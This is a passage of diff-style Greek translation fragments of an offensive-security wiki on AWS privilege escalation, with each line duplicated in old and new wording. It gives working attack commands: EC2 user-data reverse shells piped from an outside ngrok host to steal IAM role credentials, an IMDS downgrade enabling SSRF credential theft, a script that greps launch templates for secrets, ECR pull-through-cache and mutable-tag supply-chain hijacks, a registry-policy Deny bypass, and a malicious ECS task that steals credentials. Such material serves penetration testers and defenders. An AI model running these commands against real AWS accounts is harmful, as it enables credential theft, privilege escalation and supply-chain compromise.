Με αυτά τα δικαιώματα είναι δυνατή η αλλαγή του instance profile που είναι συνδεδεμένο με ένα instance, οπότε αν ο επιτιθέμενος ήδη έχει πρόσβαση σε ένα instance, θα μπορέσει να κλέψει διαπιστευτήρια για περισσότερα instance profile roles αλλάζοντας το instance profile που είναι συσχετισμένο με αυτό.
- Εάν **έχει instance profile**, μπορείτε να **αφαιρέσετε** το instance profile (`ec2:DisassociateIamInstanceProfile`) και να το **συνδέσετε**
- Αν **έχει instance profile**, μπορείτε να **αφαιρέσετε** το instance profile (`ec2:DisassociateIamInstanceProfile`) και να το **συσχετίσετε**
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
@@ -102,12 +102,12 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
**Πιθανός Αντίκτυπος:** Άμεση privesc σε διαφορετικό EC2 role (πρέπει να έχετε παραβιάσει ένα AWS EC2 instance και κάποιο επιπλέον permission ή συγκεκριμένη instance profile κατάσταση).
**Potential Impact:** Άμεσο privesc σε διαφορετικό EC2 role (πρέπει να έχετε παραβιάσει ένα AWS EC2 instance και κάποια επιπλέον άδεια ή συγκεκριμένη κατάσταση του instance profile).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Ένας επιτιθέμενος με τα permissions **`ec2:RequestSpotInstances` και `iam:PassRole`** μπορεί να **ζητήσει** ένα **Spot Instance** με **EC2 Role attached** και ένα **rev shell** στα **user data**.\
Μόλις το instance τρέξει, μπορεί να **κλέψει το IAM role**.
Ένας επιτιθέμενος με τις άδειες **`ec2:RequestSpotInstances`and`iam:PassRole`** μπορεί να **ζητήσει** ένα **Spot Instance** με **EC2 Role attached** και ένα **rev shell** στο **user data**.\
Μόλις το instance εκτελεστεί, μπορεί να **κλέψει το IAM role**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
Ένας επιτιθέμενος με το **`ec2:ModifyInstanceAttribute`** μπορεί να τροποποιήσει τα instance attributes. Μεταξύ αυτών, μπορεί να **αλλάξει το user data**, που σημαίνει ότι μπορεί να κάνει το instance να **εκτελέσει αυθαίρετα δεδομένα.** Αυτό μπορεί να χρησιμοποιηθεί για να αποκτήσει ένα **rev shell στο EC2 instance**.
Ένας επιτιθέμενος με το **`ec2:ModifyInstanceAttribute`** μπορεί να τροποποιήσει τα attributes της instance. Μεταξύ αυτών, μπορεί να **αλλάξει το user data**, το οποίο σημαίνει ότι μπορεί να κάνει την instance να **εκτελέσει αυθαίρετα δεδομένα.** Αυτό μπορεί να χρησιμοποιηθεί για να αποκτήσει ένα **rev shell στο EC2 instance**.
Σημειώστε ότι τα attributes μπορούν να τροποποιηθούν μόνο ενώ το instance είναι σταματημένο, οπότε απαιτούνται τα δικαιώματα **`ec2:StopInstances`** και **`ec2:StartInstances`**.
Σημειώστε ότι τα attributes μπορούν να **τροποποιηθούν μόνο ενώ η instance είναι σταματημένη**, οπότε απαιτούνται τα **permissions** **`ec2:StopInstances`** και **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**Potential Impact:** Άμεσο privesc σε οποιοδήποτε EC2 IAM Role που είναι συνημμένο σε μια δημιουργημένη instance.
**Potential Impact:** Άμεση privesc σε οποιοδήποτε EC2 IAM Role συνημμένο σε μια δημιουργημένη instance.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
Ένας επιτιθέμενος με τα δικαιώματα **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** μπορεί να δημιουργήσει μια **new Launch Template version** με ένα **rev shell in** το **user data** και **any EC2 IAM Role on it**, να αλλάξει την default version, και **any Autoscaler group** **using** that **Launch Templat**e που είναι **configured** να χρησιμοποιεί την **latest** ή την **default version**, θα **re-run the instances** που χρησιμοποιούν αυτό το template και θα εκτελέσει το rev shell.
Ένας επιτιθέμενος με τα δικαιώματα **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** μπορεί να δημιουργήσει μια **new Launch Template version** με ένα **rev shell in** τα **user data** και **any EC2 IAM Role on it**, να αλλάξει την default version, και **any Autoscaler group** **using** that **Launch Templat**e που είναι **configured** να χρησιμοποιεί την **latest** ή την **default version** θα **re-run the instances** χρησιμοποιώντας αυτό το template και θα εκτελέσει το rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Πιθανός Αντίκτυπος:** Άμεσο privesc σε διαφορετικό EC2 role.
**Potential Impact:** Άμεση privesc σε διαφορετικό EC2 role.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
Ένας επιτιθέμενος με τα δικαιώματα **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** μπορεί να **δημιουργήσει ένα Launch Configuration** με ένα **IAM Role** και ένα **rev shell** μέσα στο **user data**, έπειτα να **δημιουργήσει ένα autoscaling group** από αυτό το config και να περιμένει το rev shell να **κλέψει το IAM Role**.
Ένας επιτιθέμενος με τα δικαιώματα **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** μπορεί να **δημιουργήσει ένα Launch Configuration** με ένα **IAM Role** και ένα **rev shell** μέσα στο **user data**, στη συνέχεια να **δημιουργήσει ένα autoscaling group** από εκείνη τη διαμόρφωση και να περιμένει το rev shell να **κλέψει το IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,26 +196,26 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
**Πιθανός αντίκτυπος:** Άμεσο privesc σε διαφορετικό ρόλο EC2.
**Πιθανός Αντίκτυπος:** Άμεσο privesc σε διαφορετικό EC2 role.
### `!autoscaling`
Το σύνολο δικαιωμάτων **`ec2:CreateLaunchTemplate`** και **`autoscaling:CreateAutoScalingGroup`** **δεν είναι αρκετό για να αυξήσει** τα προνόμια σε έναν ρόλο IAM, επειδή για να επισυνάψετε τον ρόλο που καθορίζεται στο Launch Configuration ή στο Launch Template **χρειάζεστε τα δικαιώματα `iam:PassRole` και `ec2:RunInstances`** (το οποίο είναι γνωστό privesc).
Το σύνολο δικαιωμάτων **`ec2:CreateLaunchTemplate`** και **`autoscaling:CreateAutoScalingGroup`** **δεν επαρκεί για να escalate** privileges σε ένα IAM role γιατί για να επισυνάψετε τον ρόλο που ορίζεται στο Launch Configuration ή στο Launch Template **χρειάζεστε τα δικαιώματα `iam:PassRole` και `ec2:RunInstances`** (που είναι γνωστό privesc).
### `ec2-instance-connect:SendSSHPublicKey`
Ένας επιτιθέμενος με το δικαίωμα **`ec2-instance-connect:SendSSHPublicKey`** μπορεί να προσθέσει ένα ssh key σε έναν χρήστη και να το χρησιμοποιήσει για πρόσβαση (εάν έχει ssh πρόσβαση στο instance) ή για να ανεβάσει προνόμια.
Ένας επιτιθέμενος με το δικαίωμα **`ec2-instance-connect:SendSSHPublicKey`** μπορεί να προσθέσει ένα ssh key σε έναν χρήστη και να το χρησιμοποιήσει για να αποκτήσει πρόσβαση (αν έχει ssh πρόσβαση στο instance) ή για να escalate privileges.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Πιθανός αντίκτυπος:** Άμεσο privesc στις EC2 IAM roles που είναι συνδεδεμένες με εκτελούμενα instances.
**Potential Impact:** Άμεσο privesc στις EC2 IAM roles που είναι συνδεδεμένες σε running instances.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
Ένας επιτιθέμενος με την άδεια **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** μπορεί να **προσθέσει ένα ssh key σε μια σειριακή σύνδεση**. Εάν η σειριακή δεν είναι ενεργοποιημένη, ο επιτιθέμενος χρειάζεται την άδεια **`ec2:EnableSerialConsoleAccess` για να την ενεργοποιήσει**.
Ένας επιτιθέμενος με την άδεια **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** μπορεί να **προσθέσει ένα ssh key σε μια σειριακή σύνδεση**. Εάν η σειριακή πρόσβαση δεν είναι ενεργοποιημένη, ο επιτιθέμενος χρειάζεται την άδεια **`ec2:EnableSerialConsoleAccess`** για να την ενεργοποιήσει.
Για να συνδεθεί στη σειριακή θύρα χρειάζεται επίσης **να γνωρίζει το username και το password ενός χρήστη** μέσα στη μηχανή.
```bash
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Αυτός ο τρόπος δεν είναι τόσο χρήσιμος για privesc καθώς χρειάζεται να γνωρίζεις όνομα χρήστη και κωδικό πρόσβασης για να τον εκμεταλλευτείς.
Αυτός ο τρόπος δεν είναι τόσο χρήσιμος για privesc καθώς χρειάζεται να γνωρίζεις ένα username και password για να το εκμεταλλευτείς.
**Potential Impact:** (Ιδιαίως δύσκολο να αποδειχθεί) Άμεσο privesc στους EC2 IAM roles που είναι επισυναπτόμενοι σε ενεργά instances.
**Πιθανός Αντίκτυπος:** (Highly unprovable) Άμεσο privesc στα EC2 IAM roles attached σε running instances.
### `describe-launch-templates`,`describe-launch-template-versions`
Εφόσον τα launch templates έχουν versioning, ένας επιτιθέμενος με δικαιώματα **`ec2:describe-launch-templates`** και **`ec2:describe-launch-template-versions`** θα μπορούσε να τα εκμεταλλευτεί για να ανακαλύψει ευαίσθητες πληροφορίες, όπως διαπιστευτήρια που υπάρχουν στο user data. Για να το πετύχει αυτό, το παρακάτω script διατρέχει όλες τις εκδόσεις των διαθέσιμων launch templates:
Επειδή τα launch templates έχουν versioning, ένας attacker με **`ec2:describe-launch-templates`** και **`ec2:describe-launch-template-versions`** permissions θα μπορούσε να τα εκμεταλλευτεί για να ανακαλύψει ευαίσθητες πληροφορίες, όπως credentials που υπάρχουν σε user data. Για να το πετύχει, το ακόλουθο script κάνει loop σε όλες τις versions των διαθέσιμων launch templates:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -248,27 +248,22 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
Στις παραπάνω εντολές, παρόλο που καθορίζουμε συγκεκριμένα μοτίβα (`aws_|password|token|api`), μπορείτε να χρησιμοποιήσετε διαφορετικό regex για να αναζητήσετε άλλους τύπους ευαίσθητων πληροφοριών.
Στις παραπάνω εντολές, παρόλο που καθορίζουμε συγκεκριμένα πρότυπα (`aws_|password|token|api`), μπορείτε να χρησιμοποιήσετε διαφορετικό regex για να αναζητήσετε άλλους τύπους ευαίσθητων πληροφοριών.
Αν υποθέσουμε ότι βρούμε `aws_access_key_id` και `aws_secret_access_key`, μπορούμε να χρησιμοποιήσουμε αυτά τα credentials για να κάνουμε authenticate στο AWS.
Υποθέτοντας ότι βρίσκουμε `aws_access_key_id` και `aws_secret_access_key`, μπορούμε να χρησιμοποιήσουμε αυτά τα διαπιστευτήρια για να αυθεντικοποιηθούμε στο AWS.
**Πιθανός Αντίκτυπος:** Direct privilege escalation to IAM user(s).
**Πιθανές Επιπτώσεις:** Άμεση privilege escalation σε IAM user(s).
## Αναφορές
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
{{#include ../../../../banners/hacktricks-training.md}}
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
Ένας attacker με τη δυνατότητα να καλέσει `ec2:ModifyInstanceMetadataOptions` σε ένα victim EC2 instance μπορεί να εξασθενήσει τις IMDS προστασίες ενεργοποιώντας IMDSv1 (`HttpTokens=optional`) και αυξάνοντας το `HttpPutResponseHopLimit`. Αυτό καθιστά το instance metadata endpoint προσβάσιμο μέσω κοινών SSRF/proxy διαδρομών από εφαρμογές που τρέχουν στο instance. Εάν ο attacker μπορέσει να ενεργοποιήσει SSRF σε μια τέτοια εφαρμογή, μπορεί να ανακτήσει τα instance profile credentials και να pivot με αυτά.
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade για να επιτραπεί SSRF credential theft)
Ένας επιτιθέμενος με τη δυνατότητα να καλεί `ec2:ModifyInstanceMetadataOptions` σε ένα θύμα EC2 instance μπορεί να εξασθενήσει τις προστασίες του IMDS ενεργοποιώντας IMDSv1 (`HttpTokens=optional`) και αυξάνοντας το `HttpPutResponseHopLimit`. Αυτό καθιστά το instance metadata endpoint προσβάσιμο μέσω κοινών SSRF/proxy διαδρομών από εφαρμογές που τρέχουν στο instance. Εάν ο επιτιθέμενος μπορέσει να προκαλέσει ένα SSRF σε τέτοια εφαρμογή, μπορεί να ανακτήσει τα instance profile credentials και να pivot με αυτά.
- Απαιτούμενα δικαιώματα: `ec2:ModifyInstanceMetadataOptions` στο target instance (επιπλέον η ικανότητα να φτάσει/προκαλέσει ένα SSRF στο host).
- Στόχος πόρος: Το τρέχον EC2 instance με ένα συνημμένο instance profile (IAM role).
- Απαιτούμενα δικαιώματα: `ec2:ModifyInstanceMetadataOptions` στον στοχευόμενο instance (συν τη δυνατότητα να φτάσει/προκαλέσει SSRF στον host).
- Στόχος πόρου: Το τρέχον EC2 instance με επισυναπτόμενο instance profile (IAM role).
Παράδειγμα εντολών:
```bash
@@ -297,4 +292,5 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1
```
Πιθανή Επίπτωση: Κλοπή των instance profile credentials μέσω SSRF που οδηγεί σε privilege escalation και lateral movement με τα EC2 role permissions.
Πιθανός Αντίκτυπος: Κλοπή των instance profile credentials μέσω SSRF, με αποτέλεσμα privilege escalation και lateral movement χρησιμοποιώντας τα EC2 role permissions.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -14,13 +14,13 @@
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
{{#endref}}
**Potential Impact:** Έμμεσο privesc μέσω υποκλοπής ευαίσθητων πληροφοριών στην κίνηση.
**Πιθανός αντίκτυπος:** Έμμεσο privesc μέσω υποκλοπής ευαίσθητων πληροφοριών στην κίνηση δικτύου.
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
Ένας επιτιθέμενος με όλες αυτές τις άδειες **μπορεί να συνδεθεί στο ECR και να ανεβάσει εικόνες**. Αυτό μπορεί να είναι χρήσιμο για να αυξήσει τα προνόμια σε άλλα περιβάλλοντα όπου χρησιμοποιούνται αυτές οι εικόνες.
Ένας επιτιθέμενος με όλες αυτές τις δικαιοδοσίες **μπορεί να συνδεθεί στο ECR και να ανεβάσει εικόνες**. Αυτό μπορεί να είναι χρήσιμο για την escalatοn προνομίων σε άλλα περιβάλλοντα όπου χρησιμοποιούνται αυτές οι εικόνες.
Για να μάθετε πώς να ανεβάσετε μια νέα εικόνα/να ενημερώσετε μια υπάρχουσα, δείτε:
Για να μάθετε πώς να ανεβάσετε μια νέα εικόνα/να ενημερώσετε μία, δείτε:
{{#ref}}
../../aws-services/aws-eks-enum.md
@@ -32,8 +32,8 @@
### `ecr:SetRepositoryPolicy`
Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να **αλλάξει** την **πολιτική** του **αποθετηρίου** για να χορηγήσει στον εαυτό του (ή ακόμη και σε όλους) **πρόσβαση ανάγνωσης/εγγραφής**.\
Για παράδειγμα, σε αυτό το παράδειγμα δίνεται πρόσβαση ανάγνωσης σε όλους.
Ένας επιτιθέμενος με αυτό το δικαίωμα θα μπορούσε να **αλλάξει** την **πολιτική** του **αποθετηρίου** για να χορηγήσει στον εαυτό του (ή ακόμη και σε όλους) **πρόσβαση ανάγνωσης/εγγραφής**.\
Για παράδειγμα, σε αυτό το παράδειγμα η πρόσβαση ανάγνωσης δίνεται σε όλους.
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
@@ -59,8 +59,8 @@ aws ecr set-repository-policy \
```
### `ecr-public:SetRepositoryPolicy`
Όπως στην προηγούμενη ενότητα, αλλά για δημόσια αποθετήρια.\
Ένας επιτιθέμενος μπορεί να **τροποποιήσει την πολιτική του αποθετηρίου** ενός ECR Public repository ώστε να παραχωρήσει μη εξουσιοδοτημένη δημόσια πρόσβαση ή να αυξήσει τα προνόμιά του.
Όπως η προηγούμενη ενότητα, αλλά για δημόσια αποθετήρια.\
Ένας επιτιθέμενος μπορεί να **τροποποιήσει την πολιτική αποθετηρίου** ενός ECR Public repository για να παραχωρήσει μη εξουσιοδοτημένη δημόσια πρόσβαση ή να αυξήσει τα προνόμιά του.
```bash
# Create a JSON file with the malicious public repository policy
echo '{
@@ -87,58 +87,52 @@ echo '{
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
```
**Πιθανός Αντίκτυπος**: Μη εξουσιοδοτημένη δημόσια πρόσβαση στο ECR Public repository, επιτρέποντας σε οποιονδήποτε χρήστη να κάνει push, pull, ή delete images.
**Πιθανός Αντίκτυπος**: Μη εξουσιοδοτημένη δημόσια πρόσβαση στο ECR Public repository, επιτρέποντας σε οποιονδήποτε χρήστη να push, pull, ή delete images.
### `ecr:PutRegistryPolicy`
Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να **αλλάξει** την **registry policy** για να χορηγήσει στον εαυτό του, στον λογαριασμό του (ή ακόμα και σε όλους) **read/write access**.
Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να **αλλάξει** την **registry policy** για να παραχωρήσει στον εαυτό του, στον λογαριασμό του (ή ακόμη και σε όλους) **πρόσβαση ανάγνωσης/εγγραφής**.
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
```
{{#include ../../../../banners/hacktricks-training.md}}
### ecr:CreatePullThroughCacheRule
Καταχραστείτε τους κανόνες ECR Pull Through Cache (PTC) για να αντιστοιχίσετε ένα upstream namespace που ελέγχεται από attacker σε ένα αξιόπιστο prefix του private ECR. Αυτό επιτρέπει σε workloads που τραβούν από το private ECR να λαμβάνουν διαφανώς attacker images χωρίς κανένα push στο private ECR.
Καταχραστείτε τους κανόνους ECR Pull Through Cache (PTC) για να αντιστοιχίσετε ένα attacker-controlled upstream namespace σε ένα αξιόπιστο ιδιωτικό ECR prefix. Αυτό επιτρέπει σε workloads που κάνουν pull από το private ECR να λαμβάνουν διαφανώς attacker images χωρίς να απαιτείται push στο private ECR.
- Απαιτούμενα perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
- Δοκιμασμένο upstream: public.ecr.aws
- Tested upstream: public.ecr.aws
Βήματα (παράδειγμα):
Steps (example):
1. Προετοιμάστε attacker image στο ECR Public
1. Prepare attacker image in ECR Public
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
docker login public.ecr.aws/<public_alias>
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
2. Δημιουργήστε τον PTC κανόνα στο private ECR για να αντιστοιχίσετε ένα αξιόπιστο prefix στο public registry
2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
3. Pull το attacker image μέσω του private ECR path (no push to private ECR was done)
3. Pull the attacker image via the private ECR path (no push to private ECR was done)
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
Potential Impact: Supply-chain compromise by hijacking internal image names under the chosen prefix. Any workload pulling images from the private ECR using that prefix will receive attacker-controlled content.
Potential Impact: Συμβιβασμός supply-chain μέσω hijacking εσωτερικών ονομάτων image κάτω από το επιλεγμένο prefix. Οποιοδήποτε workload που pull-άρει εικόνες από το private ECR χρησιμοποιώντας αυτό το prefix θα λάβει attacker-controlled περιεχόμενο.
### `ecr:PutImageTagMutability`
Καταχραστείτε αυτό το permission για να αλλάξετε ένα repository με tag immutability σε mutable και να αντικαταστήσετε αξιόπιστα tags (π.χ., latest, stable, prod) με attacker-controlled content.
Καταχραστείτε αυτό το permission για να αλλάξετε ένα repository με tag immutability σε mutable και να αντικαταστήσετε αξιόπιστα tags (π.χ., latest, stable, prod) με attacker-controlled περιεχόμενο.
- Απαιτούμενα perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
- Impact: Supply-chain compromise by silently replacing immutable tags without changing tag names.
- Required perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
- Impact: Συμβιβασμός supply-chain με σιωπηρή αντικατάσταση immutable tags χωρίς αλλαγή ονομάτων tags.
Βήματα (παράδειγμα):
Steps (example):
<details>
<summary>Δηλητηρίαση ενός immutable tag με εναλλαγή της mutability</summary>
<summary>Δηλητηριάστε ένα immutable tag αλλάζοντας τη mutability</summary>
```bash
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
@@ -158,17 +152,17 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
</details>
#### Global registry hijack via ROOT Pull-Through Cache rule
#### Global registry hijack μέσω ROOT Pull-Through Cache rule
Δημιουργήστε έναν κανόνα Pull-Through Cache (PTC) χρησιμοποιώντας το ειδικό `ecrRepositoryPrefix=ROOT` για να αντιστοιχίσετε τη ρίζα του ιδιωτικού ECR registry σε ένα upstream δημόσιο registry (π.χ., ECR Public). Οποιοδήποτε pull σε μη υπάρχον repository στο ιδιωτικό registry θα εξυπηρετείται διαφανώς από το upstream, επιτρέποντας supply-chain hijacking χωρίς να γίνεται push στο ιδιωτικό ECR.
Δημιουργήστε έναν κανόνα Pull-Through Cache (PTC) χρησιμοποιώντας το ειδικό `ecrRepositoryPrefix=ROOT` για να αντιστοιχίσετε τη ρίζα του ιδιωτικού ECR registry σε ένα upstream δημόσιο registry (π.χ., ECR Public). Οποιοδήποτε pull προς ένα ανύπαρκτο repository στο ιδιωτικό registry θα εξυπηρετηθεί διαφανώς από το upstream, επιτρέποντας supply-chain hijacking χωρίς να απαιτείται push στο private ECR.
- Απαιτούμενα perms: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
- Επίπτωση: Τα pulls στο `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` επιτυγχάνουν και δημιουργούν αυτόματα ιδιωτικά repos που προέρχονται από το upstream.
- Επίπτωση: Pulls προς `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` θα πετύχουν και θα δημιουργήσουν αυτόματα private repos που προέρχονται από upstream.
> Σημείωση: Για `ROOT` rules, παραλείψτε `--upstream-repository-prefix`. Η παροχή του θα προκαλέσει σφάλμα επικύρωσης.
> Σημείωση: For `ROOT` rules, omit `--upstream-repository-prefix`. Supplying it will cause a validation error.
<details>
<summary>Παράδειγμα (us-east-1, upstream public.ecr.aws)</summary>
<summary>Demo (us-east-1, upstream public.ecr.aws)</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
@@ -197,17 +191,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
```
</details>
### `ecr:PutAccountSetting` (Downgrade `REGISTRY_POLICY_SCOPE` to bypass registry policy denies)
### `ecr:PutAccountSetting` (Υποβάθμιση `REGISTRY_POLICY_SCOPE` για παράκαμψη των registry policy Deny)
Καταχράσου το `ecr:PutAccountSetting` για να αλλάξεις το registry policy scope από `V2` (policy που εφαρμόζεται σε όλες τις ενέργειες του ECR) σε `V1` (policy που εφαρμόζεται μόνο σε `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Αν ένα περιοριστικό registry policy Deny μπλοκάρει ενέργειες όπως `CreatePullThroughCacheRule`, το downgrade σε `V1` αφαιρεί αυτήν την επιβολή ώστε τα identitypolicy Allows να τεθούν σε ισχύ.
Καταχρήση του `ecr:PutAccountSetting` για αλλαγή του scope της registry policy από `V2` (πολιτική που εφαρμόζεται σε όλες τις ECR ενέργειες) σε `V1` (πολιτική που εφαρμόζεται μόνο σε `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Εάν μια περιοριστική registry policy Deny μπλοκάρει ενέργειες όπως `CreatePullThroughCacheRule`, η υποβάθμιση σε `V1` καταργεί αυτή την επιβολή ώστε να ισχύσουν τα identitypolicy Allows.
- Απαιτούμενα δικαιώματα: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Επίδραση: Δυνατότητα εκτέλεσης ενεργειών ECR που προηγουμένως είχαν μπλοκαριστεί από registry policy Deny (π.χ., create PTC rules) με προσωρινή ρύθμιση του scope σε `V1`.
- Επίδραση: Δυνατότητα εκτέλεσης ECR ενεργειών που προηγουμένως ήταν μπλοκαρισμένες από μια registry policy Deny (π.χ., δημιουργία PTC κανόνων) με προσωρινή ρύθμιση του scope σε `V1`.
Βήματα (παράδειγμα):
<details>
<summary>Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1</summary>
<summary>Παράκαμψη του registry policy Deny στο CreatePullThroughCacheRule αλλάζοντας σε V1</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
@@ -266,3 +260,5 @@ fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
```
</details>
{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Ένας επιτιθέμενος που καταχράται τα δικαιώματα `iam:PassRole`, `ecs:RegisterTaskDefinition` και `ecs:RunTask` στο ECS μπορεί να **δημιουργήσει ένα νέο task definition** με ένα **κακόβουλο container** που κλέβει τα metadata credentials και να το **τρέξει**.
Ένας επιτιθέμενος που εκμεταλλεύεται την άδεια `iam:PassRole`, `ecs:RegisterTaskDefinition` και `ecs:RunTask` στο ECS μπορεί να **δημιουργήσει ένα νέο task definition** με ένα **κακόβουλο container** που κλέβει τα διαπιστευτήρια μεταδεδομένων και να **το εκτελέσει**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -75,14 +75,14 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Potential Impact:** Άμεση privesc σε διαφορετικό ECS ρόλο.
**Πιθανός αντίκτυπος:** Άμεσο privesc σε διαφορετικό ECS role.
### `iam:PassRole`,`ecs:RunTask`
Ένας επιτιθέμενος που διαθέτει τα δικαιώματα `iam:PassRole` και `ecs:RunTask` μπορεί να ξεκινήσει ένα νέο ECS task με τροποποιημένες τις **execution role**, **task role** και την **command** του container. Η εντολή CLI `ecs run-task` περιλαμβάνει την παράμετρο `--overrides` που επιτρέπει την αλλαγή σε runtime των `executionRoleArn`, `taskRoleArn` και της `command` του container χωρίς να αγγίξει το task definition.
Ένας επιτιθέμενος που έχει `iam:PassRole` και `ecs:RunTask` δικαιώματα μπορεί να ξεκινήσει ένα νέο ECS task με τροποποιημένες τιμές για **execution role**, **task role** και το **command** του container. Η εντολή CLI `ecs run-task` περιλαμβάνει την παράμετρο `--overrides` που επιτρέπει την αλλαγή σε runtime των `executionRoleArn`, `taskRoleArn` και του `command` του container χωρίς να πειράξει το task definition.
Οι καθορισμένοι IAM ρόλοι για τα `taskRoleArn` και `executionRoleArn` πρέπει να εμπιστεύονται/επιτρέπουν να αναλαμβάνονται από το `ecs-tasks.amazonaws.com` στην trust policy τους.
Οι συγκεκριμένοι IAM ρόλοι για `taskRoleArn` και `executionRoleArn` πρέπει να trust/allow να αναληφθούν από το `ecs-tasks.amazonaws.com` στην trust policy τους.
Επίσης, ο επιτιθέμενος πρέπει να γνωρίζει:
Επίσης, ο επιτιθέμενος χρειάζεται να γνωρίζει:
